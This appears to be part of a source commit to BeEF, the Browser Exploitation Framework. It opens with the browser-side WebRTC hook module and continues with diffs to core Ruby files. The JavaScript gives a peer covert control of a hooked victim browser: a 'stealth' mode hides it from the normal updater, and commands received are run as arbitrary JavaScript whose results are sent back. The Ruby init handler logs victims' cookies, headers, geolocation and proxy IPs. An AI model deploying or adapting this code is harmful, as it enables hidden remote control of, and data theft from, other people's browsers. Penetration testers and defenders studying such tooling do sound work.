if (this.verbose) {console.log('processing a message, but, not as a receiver, OR, the rtc is already up');}
this.processSignalingMessage(msg);
}
}
// Send a signalling message ..
Beefwebrtc.prototype.sendSignalMsg = function(message) {
var msgString = JSON.stringify(message);
if (this.verbose) {console.log('Signalling Message - C->S: ' + msgString);}
beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
}
// Used to record ICS candidates locally
Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
if (this.gatheredIceCandidateTypes[location][type])
return;
this.gatheredIceCandidateTypes[location][type] = 1;
// updateInfoDiv();
}
// When the signalling state changes. We don't actually do anything with this except log it.
Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
var localverbose = false;
for (var k in beefrtcs) {
if (beefrtcs[k].verbose === true) {
localverbose = true;
}
}
if (localverbose === true) {console.log("Signalling has changed to: " + event.target.signalingState);}
}
// When the ICE Connection State changes - this is useful to determine connection statuses with peers.
Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
var peerid = null;
for (k in globalrtc) {
if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc[k].localDescription.type === event.target.localDescription.type)) {
peerid = k;
}
}
if (beefrtcs[peerid].verbose) {console.log("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);}
// ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for
// better candidates or connections
if (event.target.iceConnectionState === 'connected') {
//Send status to peer
window.setTimeout(function() {
beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
beefrtcs[peerid].allgood = true;
},1000);
}
// Completed is similar to connected. Except, each of the ICE components are good, and no more testing remote candidates is done.
if (event.target.iceConnectionState === 'completed') {
window.setTimeout(function() {
beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
beefrtcs[peerid].allgood = true;
},1000);
}
if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) {
//I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth
rtcstealth = false;
beefrtcs[peerid].allgood = false;
beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
} else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) {
//I was not in stealth, and this peer has gone offline - send a message
beefrtcs[peerid].allgood = false;
beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
}
// We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into stealth
// This is possibly a bad idea - @xntrik
}
// This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"
Beefwebrtc.prototype.goStealth = function() {
//stop the beef updater
rtcstealth = this.peerid; // this is a global variable
beef.updater.lock = true;
this.sendPeerMsg('Going into stealth mode');
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3);
}
// This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
rtcpollPeer = function() {
if (rtcstealth == false) {
//my peer has disabled stealth mode
beef.updater.lock = false;
return;
}
if (beefrtcs[rtcstealth].verbose) {console.log('lub dub');}
beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3);
}
// When a data channel has been established - within here is the message handling function as well
Beefwebrtc.prototype.onDataChannel = function(event) {
var peerid = null;
for (k in globalrtc) {
if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc[k].localDescription.type === event.currentTarget.localDescription.type)) {
peerid = k;
}
}
if (beefrtcs[peerid].verbose) {console.log("Peer: " + peerid + " has just handled the onDataChannel event");}
rtcrecvchan[peerid] = event.channel;
// This is the onmessage event handling within the datachannel
rtcrecvchan[peerid].onmessage = function(ev2) {
if (beefrtcs[peerid].verbose) {console.log("Received an RTC message from my peer["+peerid+"]: " + ev2.data);}
// We've received the command to go into stealth mode
if (ev2.data == "!gostealth") {
if (beef.updater.lock == true) {
setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);
} else {
beefrtcs[peerid].goStealth();
}
// The message to come out of stealth
} else if (ev2.data == "!endstealth") {
if (rtcstealth != null) {
beefrtcs[rtcstealth].sendPeerMsg("Coming out of stealth...");
rtcstealth = false;
}
// Command to perform arbitrary JS (while stealthed)
} else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
if (beefrtcs[peerid].verbose) {console.log('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');}
beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
// Command to perform arbitrary JS (while NOT stealthed)
} else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
if (beefrtcs[peerid].verbose) {console.log('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));}
beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
// Just a plain text message .. (while stealthed)
} else if (rtcstealth != false) {
if (beefrtcs[peerid].verbose) {console.log('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');}
beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
// Just a plan text message (while NOT stealthed)
} else {
if (beefrtcs[peerid].verbose) {console.log('received a message from peer['+peerid+'] - sending it back to beef');}
beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
}
}
}
// How the browser executes received JS (this is pretty hacky)
Beefwebrtc.prototype.execCmd = function(input) {
var fn = new Function(input);
var res = fn();
return res.toString();
}
// Shortcut function to SEND a data messsage
Beefwebrtc.prototype.sendPeerMsg = function(msg) {
if (this.verbose) {console.log('sendPeerMsg to ' + this.peerid);}
this.dataChannel.send(msg);
}
// Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
Beefwebrtc.prototype.maybeStart = function() {
if (this.verbose) {console.log("maybe starting ... ");}
if (!this.started && this.signalingReady && this.turnDone) {
if (this.verbose) {console.log('Creating PeerConnection.');}
this.createPeerConnection();
this.started = true;
if (this.initiator) {
if (this.verbose) {console.log("Making the call now .. bzz bzz");}
this.doCall();
} else {
if (this.verbose) {console.log("Receiving a call now .. somebuddy answer da fone?");}
this.calleeStart();
}
} else {
if (this.verbose) {console.log("Not ready to start just yet..");}
}
}
// RTC - create an offer - the caller runs this, while the receiver runs calleeStart()
Beefwebrtc.prototype.doCall = function() {
var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
var self = this;
globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
if (this.verbose) {console.log('Sending offer to peer, with constraints: \n' +
' \'' + JSON.stringify(constraints) + '\'.');}
}
// Helper method to merge SDP constraints
Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {
var merged = cons1;
for (var name in cons2.mandatory) {
merged.mandatory[name] = cons2.mandatory[name];
}
merged.optional.concat(cons2.optional);
return merged;
}
// Sets the local RTC session description, sends this information back (via signalling)
// The caller uses this to set it's local description, and it then has to send this to the peer (via signalling)
// The receiver uses this information too - and vice-versa - hence the signaling
Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
// This fucking function does NOT receive a 'this' state, and you can't pass additional parameters
// Stupid .. javascript :(
// So I'm hacking it to find the peerid gah - I believe *this* is what means you can't establish peers concurrently
// i.e. this browser will have to wait for this peerconnection to establish before attempting to connect to the next one..
var peerid = null;
for (var k in beefrtcs) {
if (beefrtcs[k].allgood === false) {
peerid = beefrtcs[k].peerid;
}
}
if (beefrtcs[peerid].verbose) {console.log("For peer: " + peerid + " Running setLocalAndSendMessage...");}
globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
beefrtcs[peerid].sendSignalMsg(sessionDescription);
function onSetSessionDescriptionSuccess() {
if (beefrtcs[peerid].verbose) {console.log('Set session description success.');}
}
function onSetSessionDescriptionError() {
if (beefrtcs[peerid].verbose) {console.log('Failed to set session description');}
}
}
// If the browser can't build an SDP
Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
var localverbose = false;
for (var k in beefrtcs) {
if (beefrtcs[k].verbose === true) {
localverbose = true;
}
}
if (localverbose === true) {console.log('Failed to create session description: ' + error.toString());}
}
// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
Beefwebrtc.prototype.calleeStart = function() {
// Callee starts to process cached offer and other messages.
while (this.msgQueue.length > 0) {
this.processSignalingMessage(this.msgQueue.shift());
}
}
// Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
Beefwebrtc.prototype.processSignalingMessage = function(message) {
if (!this.started) {
if (this.verbose) {console.log('peerConnection has not been created yet!');}
return;
}
if (message.type === 'offer') {
if (this.verbose) {console.log("Processing signalling message: OFFER");}
this.setRemote(message);
this.doAnswer();
} else if (message.type === 'answer') {
if (this.verbose) {console.log("Processing signalling message: ANSWER");}
this.setRemote(message);
} else if (message.type === 'candidate') {
if (this.verbose) {console.log("Processing signalling message: CANDIDATE");}
var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
candidate: message.candidate});
this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess, this.onAddIceCandidateError);
} else if (message.type === 'bye') {
this.onRemoteHangup();
}
}
// Used to set the RTC remote session
Beefwebrtc.prototype.setRemote = function(message) {
globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
function onSetRemoteDescriptionSuccess() {
if (this.verbose) {console.log("Set remote session description success.");}
}
}
// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
Beefwebrtc.prototype.doAnswer = function() {
if (this.verbose) {console.log('Sending answer to peer.');}
globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
}
// Helper method to determine what kind of ICE Candidate we've received
Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
if (candidateSDP.indexOf("typ relay ") >= 0)
return "TURN";
if (candidateSDP.indexOf("typ srflx ") >= 0)
return "STUN";
if (candidateSDP.indexOf("typ host ") >= 0)
return "HOST";
return "UNKNOWN";
}
// Event handler for successful addition of ICE Candidates
Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
var localverbose = false;
for (var k in beefrtcs) {
if (beefrtcs[k].verbose === true) {
localverbose = true;
}
}
if (localverbose === true) {console.log('AddIceCandidate success.');}
}
// Event handler for unsuccessful addition of ICE Candidates
Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
var localverbose = false;
for (var k in beefrtcs) {
if (beefrtcs[k].verbose === true) {
localverbose = true;
}
}
if (localverbose === true) {console.log('Failed to add Ice Candidate: ' + error.toString());}
}
// If a peer hangs up (we bring down the peerconncetion via the stop() method)
Beefwebrtc.prototype.onRemoteHangup = function() {
if (this.verbose) {console.log('Session terminated.');}
this.initiator = 0;
// transitionToWaiting();
this.stop();
}
// Bring down the peer connection
Beefwebrtc.prototype.stop = function() {
this.started = false; // we're no longer started
this.signalingReady = false; // signalling isn't ready
globalrtc[this.peerid].close(); // close the RTCPeerConnection option
globalrtc[this.peerid] = null; // Remove it
this.msgQueue.length = 0; // clear the msgqueue
rtcstealth = false; // no longer stealth
this.allgood = false; // allgood .. NAH UH
}
// The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status
// These are the methods which are executed via the custom extension of the hook.js
beef.webrtc = {
// Start the RTCPeerConnection process
start: function(initiator,peer,turnjson,stunservers,verbose) {
if (peer in beefrtcs) {
// If the RTC peer is not in a good state, try kickng it off again
// This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects :/
if (beefrtcs[peer].allgood == false) {
beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);
beefrtcs[peer].initialize();
}
} else {
// Standard behaviour for new peer connections
beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);
beefrtcs[peer].initialize();
}
},
// Check the status of all my peers ..
status: function(me) {
if (Object.keys(beefrtcs).length > 0) {
for (var k in beefrtcs) {
if (beefrtcs.hasOwnProperty(k)) {
beef.net.send('/rtcmessage',0,{peerid: k, message: "Status checking - allgood: " + beefrtcs[k].allgood});
}
}
} else {
beef.net.send('/rtcmessage',0,{peerid: me, message: "No peers?"});
}
}
}
beef.regCmp('beef.webrtc');

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
@@ -20,7 +20,7 @@ beef.websocket = {
/**
* Initialize the WebSocket client object.
* Note: use WebSocketSecure only if the hooked domain is under https.
* Note: use WebSocketSecure only if the hooked origin is under https.
* Mixed-content in WS is quite different from a non-WS context.
*/
init:function () {

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -22,14 +22,14 @@ module BeEF
# @param [String] configuration_file Configuration file to be loaded, by default loads $root_dir/config.yaml
def initialize(config)
raise Exception::TypeError, '"config" needs to be a string' if not config.string?
raise Exception::TypeError, 'Configuration yaml cannot be found' if not File.exist?(config)
raise Exception::TypeError, "Configuration file '#{config}' cannot be found" if not File.exist?(config)
begin
#open base config
@config = self.load(config)
# set default value if key? does not exist
@config.default = nil
@@config = config
rescue Exception => e
rescue => e
print_error "Fatal Error: cannot load configuration file"
print_debug e
end
@@ -44,7 +44,7 @@ module BeEF
return nil if not File.exists?(file)
raw = File.read(file)
return YAML.load(raw)
rescue Exception => e
rescue => e
print_debug "Unable to load '#{file}' #{e}"
return nil
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -86,7 +86,7 @@ module Banners
print_success "running on network interface: #{host}"
beef_host = configuration.get("beef.http.public_port") || configuration.get("beef.http.port")
data = "Hook URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n"
data += "UI URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.panel_path")}\n"
data += "UI URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.web_ui_basepath")}/panel\n"
print_more data
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -18,6 +18,7 @@ module BeEF
@options[:ext_config] = ""
@options[:port] = ""
@options[:ws_port] = ""
@options[:interactive] = false
@already_parsed = false
@@ -54,6 +55,10 @@ module BeEF
opts.on('-w', '--wsport WS_PORT', 'Change the default BeEF WebSocket listening port') do |ws_port|
@options[:ws_port] = ws_port
end
opts.on('-i', '--interactive', 'Starts with the Console Shell activated') do
@options[:interactive] = true
end
end
optparse.parse!

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -7,75 +7,75 @@
module BeEF
module Core
module Constants
module Browsers
FF = 'FF' # Firefox
M = 'M' # Mozila
IE = 'IE' # Internet Explorer
S = 'S' # Safari
K = 'K' # Konqueror
C = 'C' # Chrome
FF = 'FF' # Firefox
M = 'M' # Mozilla
IE = 'IE' # Internet Explorer
S = 'S' # Safari
K = 'K' # Konqueror
C = 'C' # Chrome
O = 'O' # Opera
ALL = 'ALL' # ALL
UNKNOWN = 'UN' # Unknown
FRIENDLY_FF_NAME = 'Firefox'
FRIENDLY_M_NAME = 'Mozila'
FRIENDLY_IE_NAME = 'Internet Explorer'
FRIENDLY_S_NAME = 'Safari'
FRIENDLY_K_NAME = 'Konqueror'
FRIENDLY_C_NAME = 'Chrome'
ALL = 'ALL' # ALL
UNKNOWN = 'UN' # Unknown
FRIENDLY_FF_NAME = 'Firefox'
FRIENDLY_M_NAME = 'Mozilla'
FRIENDLY_IE_NAME = 'Internet Explorer'
FRIENDLY_S_NAME = 'Safari'
FRIENDLY_K_NAME = 'Konqueror'
FRIENDLY_C_NAME = 'Chrome'
FRIENDLY_O_NAME = 'Opera'
FRIENDLY_UN_NAME = "UNKNOWN"
# Attempt to retrieve a browsers friendly name
FRIENDLY_UN_NAME = 'UNKNOWN'
# Attempt to retrieve a browser's friendly name
# @param [String] browser_name Short browser name
# @return [String] Friendly browser name
def self.friendly_name(browser_name)
case browser_name
when FF; return FRIENDLY_FF_NAME
when M; return FRIENDLY_M_NAME
when IE; return FRIENDLY_IE_NAME
when S; return FRIENDLY_S_NAME
when K; return FRIENDLY_K_NAME
when C; return FRIENDLY_C_NAME
when O; return FRIENDLY_O_NAME
def self.friendly_name(browser_name)
case browser_name
when FF; return FRIENDLY_FF_NAME
when M ; return FRIENDLY_M_NAME
when IE; return FRIENDLY_IE_NAME
when S ; return FRIENDLY_S_NAME
when K ; return FRIENDLY_K_NAME
when C ; return FRIENDLY_C_NAME
when O ; return FRIENDLY_O_NAME
when UNKNOWN; return FRIENDLY_UN_NAME
end
end
end
end
# Attempt to match the browserstring to a browser constant
# @param [String] browserstring Browser UA string
# @return [Array] An array of matching browser constants
# @todo Confirm this function returns an array if multiple constants are matched
def self.match_browser(browserstring)
matches = []
browserstring.split(" ").each do |chunk|
case chunk
when /Firefox/ , /FF/
matches << FF
when /Mozilla/
matches << M
when /Internet Explorer/, /IE/
matches << IE
when /Safari/
matches << S
when /Konqueror/
matches << K
when /Chrome/
matches << C
when /Opera/
matches << O
end
end
matches.uniq
end
def self.match_browser(browserstring)
matches = []
browserstring.split(" ").each do |chunk|
case chunk
when /Firefox/, /FF/
matches << FF
when /Mozilla/
matches << M
when /Internet Explorer/, /IE/
matches << IE
when /Safari/
matches << S
when /Konqueror/
matches << K
when /Chrome/
matches << C
when /Opera/
matches << O
end
end
matches.uniq
end
end
end
end
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -34,8 +34,8 @@ module Constants
HW_HTC_IMG = 'htc.ico'
HW_MOTOROLA_UA_STR = 'motorola'
HW_MOTOROLA_IMG = 'motorola.png'
HW_GOOGLE_UA_STR = 'Nexus One'
HE_GOOGLE_IM = 'nexus.png'
HW_GOOGLE_UA_STR = 'Nexus'
HW_GOOGLE_IMG = 'nexus.png'
HW_ERICSSON_UA_STR = 'Ericsson'
HW_ERICSSON_IMG = 'sony_ericsson.png'
HW_ALL_UA_STR = 'All'

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -39,6 +39,23 @@ module Core
config.set('beef.api_token', token)
token
end
# Generates a unique identifier for DNS rules.
#
# @return [String] 8-character hex identifier
def self.dns_rule_id
id = nil
length = 4
begin
id = OpenSSL::Random.random_bytes(length).unpack('H*')[0]
BeEF::Core::Models::Dns::Rule.each { |rule| throw StandardError if id == rule.id }
rescue StandardError
retry
end
id.to_s
end
end
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -38,10 +38,17 @@ module BeEF
zombie.firstseen = Time.new.to_i
# hostname
log_zombie_port = 0
if not @data['results']['HostName'].nil? then
log_zombie_domain=@data['results']['HostName']
elsif (not @data['request'].referer.nil?) and (not @data['request'].referer.empty?)
log_zombie_domain=@data['request'].referer.gsub('http://', '').gsub('https://', '').split('/')[0]
referer = @data['request'].referer
if referer.start_with?("https://") then
log_zombie_port = 443
else
log_zombie_port = 80
end
log_zombie_domain=referer.gsub('http://', '').gsub('https://', '').split('/')[0]
else
log_zombie_domain="unknown" # Probably local file open
end
@@ -51,7 +58,6 @@ module BeEF
log_zombie_port=@data['results']['HostPort']
else
log_zombie_domain_parts=log_zombie_domain.split(':')
log_zombie_port=80
if log_zombie_domain_parts.length > 1 then
log_zombie_port=log_zombie_domain_parts[1].to_i
end
@@ -62,12 +68,13 @@ module BeEF
#Parse http_headers. Unfortunately Rack doesn't provide a util-method to get them :(
@http_headers = Hash.new
http_header = @data['request'].env.select {|k,v| k.to_s.start_with? 'HTTP_'}
.each {|key,value|
@http_headers[key.sub(/^HTTP_/, '')] = value
}
http_header = @data['request'].env.select { |k, v| k.to_s.start_with? 'HTTP_' }
.each { |key, value|
@http_headers[key.sub(/^HTTP_/, '')] = value
}
zombie.httpheaders = @http_headers.to_json
zombie.save
#print_debug "[INIT] HTTP Headers: #{zombie.httpheaders}"
# add a log entry for the newly hooked browser
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port.to_s}", "#{zombie.id}")
@@ -79,6 +86,101 @@ module BeEF
self.err_msg "Invalid browser name returned from the hook browser's initial connection."
end
# lookup zombie host name
ip_str = zombie.ip
if config.get('beef.dns_hostname_lookup')
begin
require 'resolv'
host_name = Resolv.getname(zombie.ip).to_s
if BeEF::Filters.is_valid_hostname?(host_name)
ip_str += " [#{host_name}]"
end
rescue
print_debug "[INIT] Reverse lookup failed - No results for IP address '#{zombie.ip}'"
end
end
BD.set(session_id, 'IP', ip_str)
# geolocation
if config.get('beef.geoip.enable')
require 'geoip'
geoip_file = config.get('beef.geoip.database')
if File.exists? geoip_file
geoip = GeoIP.new(geoip_file).city(zombie.ip)
if geoip.nil?
print_debug "[INIT] Geolocation failed - No results for IP address '#{zombie.ip}'"
else
#print_debug "[INIT] Geolocation results: #{geoip}"
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} is connecting from: #{geoip}", "#{zombie.id}")
BD.set(session_id, 'LocationCity', "#{geoip['city_name']}")
BD.set(session_id, 'LocationCountry', "#{geoip['country_name']}")
BD.set(session_id, 'LocationCountryCode2', "#{geoip['country_code2']}")
BD.set(session_id, 'LocationCountryCode3', "#{geoip['country_code3']}")
BD.set(session_id, 'LocationContinentCode', "#{geoip['continent_code']}")
BD.set(session_id, 'LocationPostCode', "#{geoip['postal_code']}")
BD.set(session_id, 'LocationLatitude', "#{geoip['latitude']}")
BD.set(session_id, 'LocationLongitude', "#{geoip['longitude']}")
BD.set(session_id, 'LocationDMACode', "#{geoip['dma_code']}")
BD.set(session_id, 'LocationAreaCode', "#{geoip['area_code']}")
BD.set(session_id, 'LocationTimezone', "#{geoip['timezone']}")
BD.set(session_id, 'LocationRegionName', "#{geoip['real_region_name']}")
end
else
print_error "[INIT] Geolocation failed - Could not find MaxMind GeoIP database '#{geoip_file}'"
print_more "Download: http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz"
end
end
# detect browser proxy
using_proxy = false
[
'CLIENT_IP',
'FORWARDED_FOR',
'FORWARDED',
'FORWARDED_FOR_IP',
'PROXY_CONNECTION',
'PROXY_AUTHENTICATE',
'X_FORWARDED',
'X_FORWARDED_FOR',
'VIA'
].each do |header|
unless JSON.parse(zombie.httpheaders)[header].nil?
using_proxy = true
break
end
end
# retrieve proxy client IP
proxy_clients = []
[
'CLIENT_IP',
'FORWARDED_FOR',
'FORWARDED',
'FORWARDED_FOR_IP',
'X_FORWARDED',
'X_FORWARDED_FOR'
].each do |header|
proxy_clients << "#{JSON.parse(zombie.httpheaders)[header]}" unless JSON.parse(zombie.httpheaders)[header].nil?
end
# retrieve proxy server
proxy_server = JSON.parse(zombie.httpheaders)['VIA'] unless JSON.parse(zombie.httpheaders)['VIA'].nil?
# store and log proxy details
if using_proxy == true
BD.set(session_id, 'UsingProxy', "#{using_proxy}")
proxy_log_string = "#{zombie.ip} is using a proxy"
unless proxy_clients.empty?
BD.set(session_id, 'ProxyClient', "#{proxy_clients.sort.uniq.join(',')}")
proxy_log_string += " [client: #{proxy_clients.sort.uniq.join(',')}]"
end
unless proxy_server.nil?
BD.set(session_id, 'ProxyServer', "#{proxy_server}")
proxy_log_string += " [server: #{proxy_server}]"
end
BeEF::Core::Logger.instance.register('Zombie', "#{proxy_log_string}", "#{zombie.id}")
end
# get and store browser version
browser_version = get_param(@data['results'], 'BrowserVersion')
if BeEF::Filters.is_valid_browserversion?(browser_version)
@@ -95,6 +197,10 @@ module BeEF
self.err_msg "Invalid browser string returned from the hook browser's initial connection."
end
# get and store browser language
browser_lang = get_param(@data['results'], 'BrowserLanguage')
BD.set(session_id, 'BrowserLanguage', browser_lang)
# get and store the cookies
cookies = get_param(@data['results'], 'Cookies')
if BeEF::Filters.is_valid_cookies?(cookies)
@@ -111,6 +217,10 @@ module BeEF
self.err_msg "Invalid operating system name returned from the hook browser's initial connection."
end
# get and store default browser
default_browser = get_param(@data['results'], 'DefaultBrowser')
BD.set(session_id, 'DefaultBrowser', default_browser)
# get and store the hardware name
hw_name = get_param(@data['results'], 'Hardware')
if BeEF::Filters.is_valid_hwname?(hw_name)
@@ -199,113 +309,25 @@ module BeEF
self.err_msg "Invalid window size returned from the hook browser's initial connection."
end
# get and store the yes|no value for JavaEnabled
java_enabled = get_param(@data['results'], 'JavaEnabled')
if BeEF::Filters.is_valid_yes_no?(java_enabled)
BD.set(session_id, 'JavaEnabled', java_enabled)
else
self.err_msg "Invalid value for JavaEnabled returned from the hook browser's initial connection."
end
# get and store the yes|no value for VBScriptEnabled
vbscript_enabled = get_param(@data['results'], 'VBScriptEnabled')
if BeEF::Filters.is_valid_yes_no?(vbscript_enabled)
BD.set(session_id, 'VBScriptEnabled', vbscript_enabled)
else
self.err_msg "Invalid value for VBScriptEnabled returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasFlash
has_flash = get_param(@data['results'], 'HasFlash')
if BeEF::Filters.is_valid_yes_no?(has_flash)
BD.set(session_id, 'HasFlash', has_flash)
else
self.err_msg "Invalid value for HasFlash returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasPhonegap
has_phonegap = get_param(@data['results'], 'HasPhonegap')
if BeEF::Filters.is_valid_yes_no?(has_phonegap)
BD.set(session_id, 'HasPhonegap', has_phonegap)
else
self.err_msg "Invalid value for HasPhonegap returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasGoogleGears
has_googlegears = get_param(@data['results'], 'HasGoogleGears')
if BeEF::Filters.is_valid_yes_no?(has_googlegears)
BD.set(session_id, 'HasGoogleGears', has_googlegears)
else
self.err_msg "Invalid value for HasGoogleGears returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasFoxit
has_foxit = get_param(@data['results'], 'HasFoxit')
if BeEF::Filters.is_valid_yes_no?(has_foxit)
BD.set(session_id, 'HasFoxit', has_foxit)
else
self.err_msg "Invalid value for HasFoxit returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasWebSocket
has_web_socket = get_param(@data['results'], 'HasWebSocket')
if BeEF::Filters.is_valid_yes_no?(has_web_socket)
BD.set(session_id, 'HasWebSocket', has_web_socket)
else
self.err_msg "Invalid value for HasWebSocket returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasActiveX
has_activex = get_param(@data['results'], 'HasActiveX')
if BeEF::Filters.is_valid_yes_no?(has_activex)
BD.set(session_id, 'HasActiveX', has_activex)
else
